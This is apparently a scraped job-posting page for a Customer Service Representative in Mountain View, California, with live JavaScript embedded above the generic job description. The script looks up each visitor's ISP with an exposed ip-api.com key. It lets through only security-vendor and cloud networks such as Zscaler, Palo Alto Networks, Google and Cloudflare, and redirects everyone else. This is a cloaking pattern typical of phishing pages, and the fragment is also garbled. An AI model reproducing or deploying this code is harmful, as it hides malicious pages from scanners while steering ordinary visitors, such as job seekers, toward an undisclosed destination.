Customer Service Representative

Customer Service Representative

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a friendly and professional Customer Service Representative to join our team in Mountain View, California.

Responsibilities include:

  • Providing exceptional support to customers via phone, email, and chat
  • Assisting with product inquiries, order processing, and issue resolution
  • Documenting customer interactions accurately in our system
  • Collaborating with team members to ensure customer satisfaction
  • Identifying opportunities to improve service quality and customer experience

Skills needed:

  • Excellent communication and interpersonal skills
  • Strong problem-solving abilities
  • Ability to remain patient and empathetic in challenging situations
  • Detail-oriented with good organizational skills
  • Comfortable working in a fast-paced environment

Benefits include competitive compensation, health insurance, paid time off, career growth opportunities, and a supportive team environment. Join us to make a positive impact on our customers' experience!

Emploment Location
California, Mountain View

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